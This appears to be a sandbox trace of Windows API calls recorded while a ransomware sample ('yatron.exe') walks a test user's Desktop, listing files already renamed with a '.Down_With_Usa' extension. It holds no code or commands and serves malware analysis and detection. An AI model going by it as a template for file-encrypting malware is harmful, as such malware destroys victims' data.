[0115.629] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", cAlternateFileName="MLH-EH~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg.Down_With_Usa", cAlternateFileName="N4T6ID~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", cAlternateFileName="PCGD4V~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png.Down_With_Usa", cAlternateFileName="PTUBNM~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif.Down_With_Usa", cAlternateFileName="PYJ9G_~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp.Down_With_Usa", cAlternateFileName="RWBOTM~1.DOW")) returned 1
[0115.630] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg.Down_With_Usa", cAlternateFileName="UNNNOA~1.DOW")) returned 1
[0115.631] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp.Down_With_Usa", cAlternateFileName="VZK1NB~1.DOW")) returned 1
[0115.631] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv.Down_With_Usa", cAlternateFileName="XLUZFL~1.DOW")) returned 1
[0115.631] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0115.631] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi.Down_With_Usa", cAlternateFileName="ZB9DFE~1.DOW")) returned 1
[0115.631] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 1
[0115.632] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0115.632] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0115.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0115.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0115.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0115.632] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0115.632] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0115.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x20dae240, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf.Down_With_Usa", cAlternateFileName="14TWDP~1.DOW")) returned 1
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", cAlternateFileName="1G_JOP~1.DOW")) returned 1
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", cAlternateFileName="2SPXR1~1.DOW")) returned 1
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi.Down_With_Usa", cAlternateFileName="3KX2W5~1.DOW")) returned 1
[0115.633] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", cAlternateFileName="CIBVWT~1.DOW")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3.Down_With_Usa", cAlternateFileName="CLTNGH~1.DOW")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi.Down_With_Usa", cAlternateFileName="DHM_7Q~1.DOW")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf.Down_With_Usa", cAlternateFileName="ELQ1CN~1.DOW")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf.Down_With_Usa", cAlternateFileName="ERNNOU~1.DOW")) returned 1
[0115.634] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt.Down_With_Usa", cAlternateFileName="FIPZPP~1.DOW")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x211b2760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4.Down_With_Usa", cAlternateFileName="M6PR0C~1.DOW")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", cAlternateFileName="MLH-EH~1.DOW")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg.Down_With_Usa", cAlternateFileName="N4T6ID~1.DOW")) returned 1
[0115.635] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", cAlternateFileName="PCGD4V~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png.Down_With_Usa", cAlternateFileName="PTUBNM~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif.Down_With_Usa", cAlternateFileName="PYJ9G_~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp.Down_With_Usa", cAlternateFileName="RWBOTM~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg.Down_With_Usa", cAlternateFileName="UNNNOA~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp.Down_With_Usa", cAlternateFileName="VZK1NB~1.DOW")) returned 1
[0115.636] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv.Down_With_Usa", cAlternateFileName="XLUZFL~1.DOW")) returned 1
[0115.637] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0115.637] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi.Down_With_Usa", cAlternateFileName="ZB9DFE~1.DOW")) returned 1
[0115.637] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 1
